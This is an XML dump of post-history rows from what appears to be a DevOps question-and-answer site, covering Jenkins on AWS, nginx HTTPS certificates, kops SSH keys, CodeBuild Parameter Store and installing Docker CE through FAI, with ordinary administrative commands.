  <row Id="31104" PostHistoryTypeId="4" PostId="3749" RevisionGUID="d8235e7c-5816-42cf-b32c-c529f27d7bf8" CreationDate="2019-12-23T14:30:25.363" UserId="210" Comment="edited title" Text="Why does Jenkins' Amazon EC2 Plugin not terminate some VMs when they are idle for X minutes on AWS US-east-1?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31105" PostHistoryTypeId="5" PostId="3749" RevisionGUID="49e8fa10-14f9-4625-9325-e914ac3a8b0e" CreationDate="2019-12-23T14:38:47.420" UserId="210" Comment="added 122 characters in body" Text="    | Product    | Version |&#xD;&#xA;    |:-----------|--------:|&#xD;&#xA;    | EC2 plugin |       X |&#xD;&#xA;    | Jenkins    | 2.190.1 |&#xD;&#xA;&#xD;&#xA;Looking for help troubleshooting an intermittent issue;&#xD;&#xA;&#xD;&#xA;We run an Ubuntu version of Jenkins on AWS infrastructure using on-demand spot ECS instances. I've noticed that while most agents spin down and correctly terminate their ECS counterparts, occasionally an agent will quit without killing its instance, leaving orphaned instances that it could take us weeks to notice. &#xD;&#xA;&#xD;&#xA;This problem has been happening on and off for a year, through many different versions of Jenkins. I can't find a common thread between the orphaned instances, and would appreciate any insight on what I can troubleshoot to find the cause. &#xD;&#xA;&#xD;&#xA;**Can you clarify how you're terminating the instances?**&#xD;&#xA;&#xD;&#xA;Nodes are automatically terminated x minutes after the job they're running finishes, presumably taking the instance down with them. I'm not clear on the actual particulars; it's just a setting in Jenkins for &quot;Idle termination time&quot;. " ContentLicense="CC BY-SA 4.0" />
  <row Id="31106" PostHistoryTypeId="2" PostId="10258" RevisionGUID="7669b0a3-c822-4e48-acae-5b694ca6afad" CreationDate="2019-12-23T15:05:34.433" UserId="18729" Text="I'm running Jenkins on an Ubuntu machine bare metal, and as I'm only experimenting and learning how the ops of it all works, I now want to learn how to enable https (with a nominally valid certificate obviously.) This has become important since I want to talk to a git instance and other tools and keep the automation tools secure. I believe the easiest is to use a reverse proxy, NGINX. Which I assume just acts like a forwarder; this is where I get stuck as a newbie.&#xD;&#xA;&#xD;&#xA;I am unable to set up or follow the nginx initial steps to obtain a certificate, because the key generation tool (keytool) just does nothing when I give it a URL. I keeps saying my computers FQDN is not valid. Based on the message I see, I guess that's because my ubuntu machine is behind a NAT. So I am guessing it's not realistic to create a trusted server on a private LAN which only has egress, but no ingress? Do I really need a real domain? I have one, but since this is work related, I'm loathe to create any kind of link-up between work and play. This just feels a little workaround hacky-like, so keen for alternatives to what looks like an overkill configuration. For an internal experimental Jenkins setup, is there a 3 step process that a beginner who knows very little about keys can follow?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31107" PostHistoryTypeId="1" PostId="10258" RevisionGUID="7669b0a3-c822-4e48-acae-5b694ca6afad" CreationDate="2019-12-23T15:05:34.433" UserId="18729" Text="nginx for dummies? How to enable Jenkins over https" ContentLicense="CC BY-SA 4.0" />
  <row Id="31108" PostHistoryTypeId="3" PostId="10258" RevisionGUID="7669b0a3-c822-4e48-acae-5b694ca6afad" CreationDate="2019-12-23T15:05:34.433" UserId="18729" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31109" PostHistoryTypeId="2" PostId="10259" RevisionGUID="925cb06d-5f45-45f8-9323-640550eaa4b4" CreationDate="2019-12-23T15:05:51.550" UserId="47" Text="You can manually stop a build in progress. From [Stopping an active build][2]:&#xD;&#xA;&#xD;&#xA;&gt; To stop an active plan build:&#xD;&#xA;&#xD;&#xA;&gt; 1. Click Dashboard and then the All Plans tab.&#xD;&#xA;&gt; 2. Click the 'Stop' icon next to the active plan you want to stop.&#xD;&#xA;&#xD;&#xA;It also appears possible to stop the build/deploy programmatically, using [the REST API][1], more specifically making a `DELETE` request to the appropriate url:&#xD;&#xA;&#xD;&#xA;&gt; /queue/{projectKey}-{buildKey}-{buildNumber : ([0-9]+)}?stage&amp;executeAllStages&#xD;&#xA;&gt; ...&#xD;&#xA;&gt; DELETE&#xD;&#xA;&gt; Stop build execution.&#xD;&#xA;&#xD;&#xA;&gt; available response representations:&#xD;&#xA;&#xD;&#xA;&gt; 401&#xD;&#xA;&gt; Returned when user does not have sufficient rights to view or execute build for specified plan&#xD;&#xA;&#xD;&#xA;&gt; 204&#xD;&#xA;&gt; On success (success is also when build was already completed - so nothing to stop)&#xD;&#xA;&#xD;&#xA;&gt; 404&#xD;&#xA;&gt; Returned when specified job does not exist&#xD;&#xA;&#xD;&#xA;[1]: https://docs.atlassian.com/atlassian-bamboo/REST/6.8.0&#xD;&#xA;[2]: https://confluence.atlassian.com/bamboo/stopping-an-active-build-289276913.html&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31111" PostHistoryTypeId="2" PostId="10260" RevisionGUID="f281f69f-cb3d-49e0-9102-aae28a73d5d5" CreationDate="2019-12-23T16:29:42.593" UserId="18159" Text="```&#xD;&#xA;SSHPublicKey    admin   2b:xx:&#xD;&#xA;SSHPublicKey    admin   2c:yy&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;How to remove one ssh key from the cluster ?&#xD;&#xA;when tried to delete via normal way,&#xD;&#xA;```&#xD;&#xA;kops delete secret --name cluster-1.dev.transein.com sshpublickey admin&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;found multiple matching secrets; specify the id of the key&#xD;&#xA;&#xD;&#xA;How to remove one , or even the entire sshkey&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31112" PostHistoryTypeId="1" PostId="10260" RevisionGUID="f281f69f-cb3d-49e0-9102-aae28a73d5d5" CreationDate="2019-12-23T16:29:42.593" UserId="18159" Text="Kops: How to delete the multiple SSHPublicKey" ContentLicense="CC BY-SA 4.0" />
  <row Id="31113" PostHistoryTypeId="3" PostId="10260" RevisionGUID="f281f69f-cb3d-49e0-9102-aae28a73d5d5" CreationDate="2019-12-23T16:29:42.593" UserId="18159" Text="&lt;kubernetes&gt;&lt;kubectl&gt;&lt;kops&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31115" PostHistoryTypeId="2" PostId="10261" RevisionGUID="bfe18f35-6ead-48d2-bcab-a97be327c6e3" CreationDate="2019-12-23T19:30:19.370" UserId="3062" Text="This was solved by having a separate project/solution for the DLL as it is used by multiple projects.  It has it's own life cycle and bug backlog.  Allowing work to be scoped and tracked for that common library and feature requests to be added to the backlog to extend is shared capability" ContentLicense="CC BY-SA 4.0" />
  <row Id="31116" PostHistoryTypeId="2" PostId="10262" RevisionGUID="d2ed46df-af25-4726-961a-149b6d5e6750" CreationDate="2019-12-23T19:33:58.207" UserId="3062" Text="A separate build user was used so that all tasks that are performed by the build system has an account to preform them with.  This way teams can still approve for releases to be deployed, but the build account is the account with the permissions to access the targeted environments." ContentLicense="CC BY-SA 4.0" />
  <row Id="31117" PostHistoryTypeId="10" PostId="3719" RevisionGUID="a01aeaf6-184b-4e10-a0f9-e69e9ddadef5" CreationDate="2019-12-23T20:16:31.450" UserId="210" Comment="102" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31118" PostHistoryTypeId="2" PostId="10263" RevisionGUID="5741968d-89ce-45c0-9408-32d2890c5e0d" CreationDate="2019-12-23T20:21:56.167" UserId="18666" Text="For my CodeBuild projects, I have a dev, staging and production project. Each project has an environment variable called $BUILD_ENVIRONMENT set to dev, staging and production, respectively. Each stage has its own key/value pair in Systems Manager Parameter Store. I want to use one buildspec.yml across all branches, so if I try to merge a branch or checkout a new branch, it does not copy hardcoded values in buildspec.yml. This is what I tried to do:&#xD;&#xA;&#xD;&#xA;    version: 0.2&#xD;&#xA;    &#xD;&#xA;    env:&#xD;&#xA;      parameter-store:&#xD;&#xA;        SECRET_KEY_BASE: /myproject/$BUILD_ENVIRONMENT/secret_key_base&#xD;&#xA;&#xD;&#xA;But it doesn't work. There is no interpolation done and I get the following error:&#xD;&#xA;&#xD;&#xA;&gt; Decrypted Variables Error Message: parameter does not exist:&#xD;&#xA;&gt; /myproject/$BUILD_ENVIRONMENT/secret_base_key&#xD;&#xA;&#xD;&#xA;Since this is such a common use case, I am wondering if anyone found any type of solution to this?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31119" PostHistoryTypeId="1" PostId="10263" RevisionGUID="5741968d-89ce-45c0-9408-32d2890c5e0d" CreationDate="2019-12-23T20:21:56.167" UserId="18666" Text="Use dynamic values for parameter-store in aws buildspec.yml for CodeBuild" ContentLicense="CC BY-SA 4.0" />
  <row Id="31120" PostHistoryTypeId="3" PostId="10263" RevisionGUID="5741968d-89ce-45c0-9408-32d2890c5e0d" CreationDate="2019-12-23T20:21:56.167" UserId="18666" Text="&lt;amazon-web-services&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31124" PostHistoryTypeId="2" PostId="10265" RevisionGUID="1be33ec7-3411-4a4b-aa0b-142294433f37" CreationDate="2019-12-24T02:44:32.387" UserId="5592" Text="Your question is very broad, but I'll try to answer it.&#xD;&#xA;&#xD;&#xA;1. You really need to read on what TLS/SSL is and how it works **before** you continue. You can find a bunch of questions in [security.stackexchnge.com](https://security.stackexchange.com/) that ask about this and many of them even link to RFCs where you can read the full detailed explanations of how it all works&#xD;&#xA;&#xD;&#xA;2. To configure nginx to work with TLS/SSL certificate you can use https://www.digitalocean.com/community/tools/nginx to generate the template. Just follow the guide and it should create a relatively secured vhost. If you would like to enhance the security even further - you can follow [cipherli.st](https://cipherli.st/)'s guide. They update it relatively often so the proposed settings are usually up-to-date.&#xD;&#xA;&#xD;&#xA;3. What makes a certificate &quot;valid&quot; or &quot;invalid&quot;? It's the `Certificate Authority`. It is possible to create a private CA certificate and use it to sign a `Certificate Signing Request` (or `CSR`). The `CSR` can then be signed by the `CA` and returned to whoever needs it (in this case the Nginx server). There are multiple tutorials for this available online and you can use `easy-rsa` to do the heavy lifting. However, the down side of doing it this way is that you need to go over all machines in the network and install the `CA` in browsers and all necessary keystores. Otherwise those machine will treat the site's certificates as &quot;untrusted&quot; because it will be coming from an unknown `Certificate Authority`. In some cases you can also create a [`Certificate Bundle`](https://www.ssls.com/knowledgebase/how-to-install-an-ssl-certificate-on-a-nginx-server/) for nginx.&#xD;&#xA;&#xD;&#xA;  [![CA][1]][1]&#xD;&#xA;&#xD;&#xA;4. If you had an ingress available you could have used `LetsEncrypt` to automatically issue certificates and skip complicating your setup by having `CA` and issuing certificates on your own.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Note: Image has been borrowed from ssl.com.&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/egvLW.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="31125" PostHistoryTypeId="2" PostId="10266" RevisionGUID="cfb27b3a-2440-4cee-a43e-25b35c21c97c" CreationDate="2019-12-24T03:41:22.143" UserId="18666" Text="I am using CodeBuild to access the Systems Manager Parameter Store. In buildspec.yml, I have the parameter-store configured to access some values in Systems Manager (I certainly have the /mysite/dev/mongodb_uri created in parameter store):&#xD;&#xA;&#xD;&#xA;    version: 0.2&#xD;&#xA;    &#xD;&#xA;    env:&#xD;&#xA;      variables:&#xD;&#xA;        MONGO_URI: 'mongodb+srv'&#xD;&#xA;      parameter-store:&#xD;&#xA;        MONGODB_URI: /mysite/dev/mongodb_uri&#xD;&#xA;    &#xD;&#xA;    phases:&#xD;&#xA;      pre_build:&#xD;&#xA;        commands:&#xD;&#xA;          - echo $MONGO_URI&#xD;&#xA;          - echo $MONGODB_URI&#xD;&#xA;&#xD;&#xA;Unfortunately, while CodeBuild will echo out the value for key in the variables object, it will not for the parameter-store object: &#xD;&#xA;&#xD;&#xA;    [Container] 2019/12/24 03:16:09 Running command echo $MONGO_URI &#xD;&#xA;    mongodb+srv &#xD;&#xA;     &#xD;&#xA;    [Container] 2019/12/24 03:16:09 Running command echo $MONGODB_URI &#xD;&#xA;    *** &#xD;&#xA;&#xD;&#xA;It just gives me 3 stars. If I use aws cli, I get the right value:&#xD;&#xA;&#xD;&#xA;    $ aws ssm get-parameters --names &quot;/mysite/dev/mongodb_uri&quot;&#xD;&#xA;    {&#xD;&#xA;        &quot;Parameters&quot;: [&#xD;&#xA;            {&#xD;&#xA;                &quot;Name&quot;: &quot;/mysite/dev/mongodb_uri&quot;,&#xD;&#xA;                &quot;Type&quot;: &quot;String&quot;,&#xD;&#xA;                &quot;Value&quot;: &quot;mongodb+srv://myuser:mypassword@mysite-cluster-n1qub.mongodb.net/test?retryWrites=true&amp;w=majority&quot;,&#xD;&#xA;                &quot;Version&quot;: 2&#xD;&#xA;            }&#xD;&#xA;        ],&#xD;&#xA;        &quot;InvalidParameters&quot;: []&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;My CodeBuild Service Role policies grant me access to Systems Manager:&#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;            &quot;Effect&quot;: &quot;Allow&quot;,&#xD;&#xA;            &quot;Action&quot;: [&#xD;&#xA;                &quot;ssm:GetParameters&quot;,&#xD;&#xA;                &quot;ssm:DescribeParameters&quot;,&#xD;&#xA;                &quot;ssm:GetParameter&quot;,&#xD;&#xA;                ...&#xD;&#xA;            ],&#xD;&#xA;            &quot;Resource&quot;: [&#xD;&#xA;                &quot;arn:aws:logs:us-east-2:880783130023:log-group:/aws/codebuild/mysite-dev&quot;,&#xD;&#xA;                &quot;arn:aws:logs:us-east-2:880783130023:log-group:/aws/codebuild/mysite-dev:*&quot;,&#xD;&#xA;                &quot;arn:aws:s3:::codepipeline-us-east-2-*&quot;,&#xD;&#xA;                &quot;arn:aws:ssm:us-east-2:880783130023:parameter/mysite/dev/*&quot;,&#xD;&#xA;                &quot;arn:aws:codebuild:us-east-2:880783130023:report-group/mysite-dev-*&quot;,&#xD;&#xA;                &quot;arn:aws:ssm:us-east-2:880783130023:*&quot;&#xD;&#xA;            ]&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;So why does it give me '***' instead of the actual value when I echo the parameter in buildspec?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31126" PostHistoryTypeId="1" PostId="10266" RevisionGUID="cfb27b3a-2440-4cee-a43e-25b35c21c97c" CreationDate="2019-12-24T03:41:22.143" UserId="18666" Text="parameter-store values show '***' instead of actual value" ContentLicense="CC BY-SA 4.0" />
  <row Id="31127" PostHistoryTypeId="3" PostId="10266" RevisionGUID="cfb27b3a-2440-4cee-a43e-25b35c21c97c" CreationDate="2019-12-24T03:41:22.143" UserId="18666" Text="&lt;amazon-web-services&gt;&lt;continuous-delivery&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31128" PostHistoryTypeId="50" PostId="9375" RevisionGUID="096fe6a8-979e-4366-a31d-0ce06edbf7a3" CreationDate="2019-12-24T05:00:40.337" UserId="-1" />
  <row Id="31132" PostHistoryTypeId="2" PostId="10268" RevisionGUID="71b59069-a19f-486c-9623-082329283460" CreationDate="2019-12-24T06:45:27.513" UserId="18771" Text="I solved the problem by adding `ansible_ssh_user` and `ansible_ssh_pass` at the hosts file. This post contain the solution.&#xD;&#xA;https://stackoverflow.com/questions/37213551/ansible-ssh-connection-fail?rq=1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31133" PostHistoryTypeId="2" PostId="10269" RevisionGUID="30099094-28cc-4af0-a3de-f5bee3ff094e" CreationDate="2019-12-24T07:22:51.593" UserId="18159" Text="```&#xD;&#xA;&#xD;&#xA;kops delete secret --name cluster-1.dev.transein.com sshpublickey admin 2c:yy&#xD;&#xA;&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="31135" PostHistoryTypeId="5" PostId="10265" RevisionGUID="d6e2fe32-d741-40ec-8f58-0e969276cae4" CreationDate="2019-12-24T09:46:31.803" UserId="354" Comment="minor typo" Text="Your question is very broad, but I'll try to answer it.&#xD;&#xA;&#xD;&#xA;1. You really need to read on what TLS/SSL is and how it works **before** you continue. You can find a bunch of questions in [security.stackexchange.com](https://security.stackexchange.com/) that ask about this and many of them even link to RFCs where you can read the full detailed explanations of how it all works.&#xD;&#xA;&#xD;&#xA;2. To configure nginx to work with TLS/SSL certificate you can use https://www.digitalocean.com/community/tools/nginx to generate the template. Just follow the guide and it should create a relatively secured vhost. If you would like to enhance the security even further - you can follow [cipherli.st](https://cipherli.st/)'s guide. They update it relatively often so the proposed settings are usually up-to-date.&#xD;&#xA;&#xD;&#xA;3. What makes a certificate &quot;valid&quot; or &quot;invalid&quot;? It's the `Certificate Authority`. It is possible to create a private CA certificate and use it to sign a `Certificate Signing Request` (or `CSR`). The `CSR` can then be signed by the `CA` and returned to whoever needs it (in this case the Nginx server). There are multiple tutorials for this available online and you can use `easy-rsa` to do the heavy lifting. However, the down side of doing it this way is that you need to go over all machines in the network and install the `CA` in browsers and all necessary keystores. Otherwise those machine will treat the site's certificates as &quot;untrusted&quot; because it will be coming from an unknown `Certificate Authority`. In some cases you can also create a [`Certificate Bundle`](https://www.ssls.com/knowledgebase/how-to-install-an-ssl-certificate-on-a-nginx-server/) for nginx.&#xD;&#xA;&#xD;&#xA;  [![CA][1]][1]&#xD;&#xA;&#xD;&#xA;4. If you had an ingress available you could have used `LetsEncrypt` to automatically issue certificates and skip complicating your setup by having `CA` and issuing certificates on your own.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Note: Image has been borrowed from ssl.com.&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/egvLW.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="31136" PostHistoryTypeId="2" PostId="10271" RevisionGUID="26c27ebd-2de2-4797-8f51-4a85d6eb5677" CreationDate="2019-12-24T10:13:21.853" UserId="18798" Text="We have a huge base of code from an .NET Desktop ERP, database access layers are now being used for web projects, so we experienced multithreading issues because of static variables. &#xD;&#xA;For now I would like to check 2 cases (feel free to recomend more) : &#xD;&#xA;&#xD;&#xA;1. does a static method uses any variables outside of stack scoped variables&#xD;&#xA;2. does non-static method uses static variables&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31137" PostHistoryTypeId="1" PostId="10271" RevisionGUID="26c27ebd-2de2-4797-8f51-4a85d6eb5677" CreationDate="2019-12-24T10:13:21.853" UserId="18798" Text="In TFS how to check a C# source code base for wrong usage of static variables or methods in multithreaded code before build" ContentLicense="CC BY-SA 4.0" />
  <row Id="31138" PostHistoryTypeId="3" PostId="10271" RevisionGUID="26c27ebd-2de2-4797-8f51-4a85d6eb5677" CreationDate="2019-12-24T10:13:21.853" UserId="18798" Text="&lt;tfs&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31143" PostHistoryTypeId="50" PostId="8724" RevisionGUID="883f32b9-b0c4-480b-bf1d-33f8b8e754c9" CreationDate="2019-12-24T11:01:55.230" UserId="-1" />
  <row Id="31146" PostHistoryTypeId="6" PostId="3584" RevisionGUID="080fd6f1-3d75-489d-8194-e175f7602d07" CreationDate="2019-12-24T11:40:41.897" UserId="210" Comment="edited tags" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;jenkins-plugins&gt;&lt;jenkins2&gt;&lt;jcac&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31147" PostHistoryTypeId="5" PostId="6594" RevisionGUID="2337bb8a-7881-402a-b3a2-6a33f380cfcf" CreationDate="2019-12-24T12:25:12.617" UserId="210" Comment="deleted 24 characters in body" Text="One could also use [bcbsn][1] as a replacement. This tool associates the build status with the right commit and sends the build status to the right repository.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://bcbsn.releasesoftwaremoreoften.com/" ContentLicense="CC BY-SA 4.0" />
  <row Id="31148" PostHistoryTypeId="10" PostId="3325" RevisionGUID="5d017dd1-b42f-423c-84ee-37ef872483f2" CreationDate="2019-12-24T12:30:33.447" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31149" PostHistoryTypeId="5" PostId="3352" RevisionGUID="3e163b28-b162-4ee1-a667-890b024d6459" CreationDate="2019-12-24T12:32:22.090" UserId="210" Comment="added 76 characters in body" Text="## Problem&#xD;&#xA;&#xD;&#xA;I want to install [Docker CE](https://www.docker.com/community-edition) on a Debian Stretch system using [Fully Automatic Installation (FAI)][1]. The official Docker documentation recommends that you [install Docker using their package repository](https://docs.docker.com/install/linux/docker-ce/debian/#install-using-the-repository). I'm not sure how do this with FAI.&#xD;&#xA;&#xD;&#xA;## Docker Installation Instructions&#xD;&#xA;&#xD;&#xA;The given instructions for installing Docker are as follows.&#xD;&#xA;&#xD;&#xA;1. Install packages to allow `apt` to use a repository over HTTPS:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: bash --&gt;&#xD;&#xA;&#xD;&#xA;    sudo apt-get -y install \&#xD;&#xA;    apt-transport-https \&#xD;&#xA;    ca-certificates \&#xD;&#xA;    curl \&#xD;&#xA;    gnupg2 \&#xD;&#xA;    software-properties-common&#xD;&#xA;&#xD;&#xA;2. Add Docker's official GPG key to APT:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: bash --&gt;&#xD;&#xA;&#xD;&#xA;    curl \&#xD;&#xA;    -fsSL \&#xD;&#xA;    https://download.docker.com/linux/$(. /etc/os-release; echo &quot;$ID&quot;)/gpg \&#xD;&#xA;    | sudo apt-key add -&#xD;&#xA;&#xD;&#xA;3. Add the Docker repository to APT:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: bash --&gt;&#xD;&#xA;&#xD;&#xA;    sudo add-apt-repository \&#xD;&#xA;    &quot;deb [arch=amd64] https://download.docker.com/linux/$(. /etc/os-release; echo &quot;$ID&quot;) \&#xD;&#xA;    $(lsb_release -cs) \&#xD;&#xA;    stable&quot;&#xD;&#xA;&#xD;&#xA;4. Update the APT package index:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: bash --&gt;&#xD;&#xA;&#xD;&#xA;    sudo apt-get update&#xD;&#xA;&#xD;&#xA;5. Install the `docker-ce` package:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: bash --&gt;&#xD;&#xA;&#xD;&#xA;    sudo apt-get install docker-ce&#xD;&#xA;&#xD;&#xA;## Solution Attempt&#xD;&#xA;&#xD;&#xA;I decided to create an FAI class called `DOCKER` for this installation.&#xD;&#xA;&#xD;&#xA;First I create the following hook for the `DOCKER` class (`/srv/fai/config/hooks/repository.DOCKER`):&#xD;&#xA;&#xD;&#xA;&lt;!-- language: text --&gt;&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;&#xD;&#xA;    # Install required packages for `add-apt-repository` utility&#xD;&#xA;    sudo apt-get install \&#xD;&#xA;    apt-transport-https \&#xD;&#xA;    ca-certificates \&#xD;&#xA;    curl \&#xD;&#xA;    gnupg2 \&#xD;&#xA;    software-properties-common&#xD;&#xA;&#xD;&#xA;    # Add the Docker repository&#xD;&#xA;    sudo add-apt-repository \&#xD;&#xA;    &quot;deb [arch=amd64] https://download.docker.com/linux/$(. /etc/os-release; echo &quot;$ID&quot;) \&#xD;&#xA;    $(lsb_release -cs) \&#xD;&#xA;    stable&quot;&#xD;&#xA;&#xD;&#xA;Next I download the Docker repository public key and placed it in the FAI package configuration directory at the following path:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: text --&gt;&#xD;&#xA;&#xD;&#xA;    /srv/fai/config/package_config/DOCKER.asc&#xD;&#xA;&#xD;&#xA;Then I create the following package configuration file for the `DOCKER` class (`/srv/fai/config/package_config/DOCKER`):&#xD;&#xA;&#xD;&#xA;&lt;!-- language: text --&gt;&#xD;&#xA;&#xD;&#xA;    # Install Docker CE (Community Edition)&#xD;&#xA;    PACKAGES install&#xD;&#xA;    docker-ce&#xD;&#xA;&#xD;&#xA;Finally I perform a dirinstall/chroot installation using the `DOCKER` class:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: bash --&gt;&#xD;&#xA;&#xD;&#xA;    sudo fai \&#xD;&#xA;    --verbose \&#xD;&#xA;    --cfdir '/etc/fai' \&#xD;&#xA;    --class 'FAIBASE DEBIAN STRETCH DOCKER' \&#xD;&#xA;    --cspace 'file:///srv/fai/config' \&#xD;&#xA;    dirinstall 'docker'&#xD;&#xA;&#xD;&#xA;Then I enter the chroot environment to check whether or not the installation was successful:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: bash --&gt;&#xD;&#xA;&#xD;&#xA;    sudo chroot docker&#xD;&#xA;&#xD;&#xA;Unfortunately when I check for `docker` it does not appear to be installed:&#xD;&#xA;&#xD;&#xA;&gt;     root@faiserver:/# which docker&#xD;&#xA;&gt;     root@faiserver:/# dpkg -l | grep -i docker&#xD;&#xA;&#xD;&#xA;Checking the log files for evidence of the `docker-ce` package yields the following:&#xD;&#xA;&#xD;&#xA;&gt;     root@faiserver:/# grep -Fir docker-ce /var/log/fai/faiserver/last/fai.log &#xD;&#xA;&gt;     WARNING: These unknown packages are removed from the installation list: docker-ce&#xD;&#xA;&#xD;&#xA;I also look for evidence that the `add-apt-repository` command was executed, but don't find any:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt;     root@faiserver:/# grep -Firl add-apt /var/log/fai&#xD;&#xA;&gt;     root@faiserver:/#&#xD;&#xA;&#xD;&#xA;However I am able to verify that the key was added to APT successfully:&#xD;&#xA;&#xD;&#xA;&gt;     root@faiserver:/# apt-key list 2&gt;/dev/null | grep -i -B2 -A1 docker&#xD;&#xA;&gt;     pub   rsa4096 2017-02-22 [SCEA]&#xD;&#xA;&gt;           9DC8 5822 9FC7 DD38 854A  E2D8 8D81 803C 0EBF CD88&#xD;&#xA;&gt;     uid           [ unknown] Docker Release (CE deb) &lt;docker@docker.com&gt;&#xD;&#xA;&gt;     sub   rsa4096 2017-02-22 [S]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://fai-project.org/" ContentLicense="CC BY-SA 4.0" />
  <row Id="31150" PostHistoryTypeId="6" PostId="3352" RevisionGUID="3e163b28-b162-4ee1-a667-890b024d6459" CreationDate="2019-12-24T12:32:22.090" UserId="210" Comment="added 76 characters in body" Text="&lt;automation&gt;&lt;provisioning&gt;&lt;fai&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31151" PostHistoryTypeId="2" PostId="10274" RevisionGUID="955b8ede-26e8-4dd7-afc5-2fab496457f0" CreationDate="2019-12-24T12:34:51.310" UserId="210" Text="Website: http://fai-project.org/" ContentLicense="CC BY-SA 4.0" />
  <row Id="31152" PostHistoryTypeId="1" PostId="10274" RevisionGUID="955b8ede-26e8-4dd7-afc5-2fab496457f0" CreationDate="2019-12-24T12:34:51.310" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="31153" PostHistoryTypeId="2" PostId="10275" RevisionGUID="6f31e2cc-7d09-46c0-b99e-fd6ef77bb17b" CreationDate="2019-12-24T12:34:51.310" UserId="210" Text="Use this tag if a question is about Fully Automatic Installation." ContentLicense="CC BY-SA 4.0" />
  <row Id="31154" PostHistoryTypeId="1" PostId="10275" RevisionGUID="6f31e2cc-7d09-46c0-b99e-fd6ef77bb17b" CreationDate="2019-12-24T12:34:51.310" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="31155" PostHistoryTypeId="2" PostId="10276" RevisionGUID="cffd726d-bd87-41f7-ba08-a1270c558ac3" CreationDate="2019-12-24T12:36:52.347" UserId="18801" Text="If you have don't want to push your images to docker.com, are on an isolated network, or if you are doing this kind of thing regularly, you could consider setting up your own local docker registry.  Doing this would &#xD;&#xA;&#xD;&#xA;Setting up a docker registry is not a trivial task, you can find detailed instructions for setting up a docker registry at [docker.com][1], but here is a brief summary:&#xD;&#xA;&#xD;&#xA;1. Get/run the docker registry image (yes, the registry will run inside docker):&#xD;&#xA;&#xD;&#xA;    `docker run -d -p 5000:5000 --restart=always --name registry registry:2`&#xD;&#xA;2. build your image or use an existing one:&#xD;&#xA;    &#xD;&#xA;    `docker tag ubuntu:16.04 localhost:5000/my-ubuntu`&#xD;&#xA;&#xD;&#xA;3. Push this image to your logcal registry:&#xD;&#xA;    &#xD;&#xA;    `docker push localhost:5000/my-ubuntu`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Once you do this, you will be able to treat this local registry like Docker Hub; you could delete your &quot;local&quot; copy of this ubuntu image, then pull it down from your local repository again:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;docker image remove ubuntu:16.04&#xD;&#xA;docker image remove localhost:5000/my-ubuntu&#xD;&#xA;docker pull localhost:5000/my-ubuntu&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/registry/deploying/" ContentLicense="CC BY-SA 4.0" />
  <row Id="31156" PostHistoryTypeId="6" PostId="3360" RevisionGUID="f3d6d40d-1cdb-4d50-ac67-d6b2858fdddd" CreationDate="2019-12-24T12:39:50.017" UserId="210" Comment="edited tags" Text="&lt;automation&gt;&lt;provisioning&gt;&lt;fai&gt;" ContentLicense="CC BY-SA 4.0" />
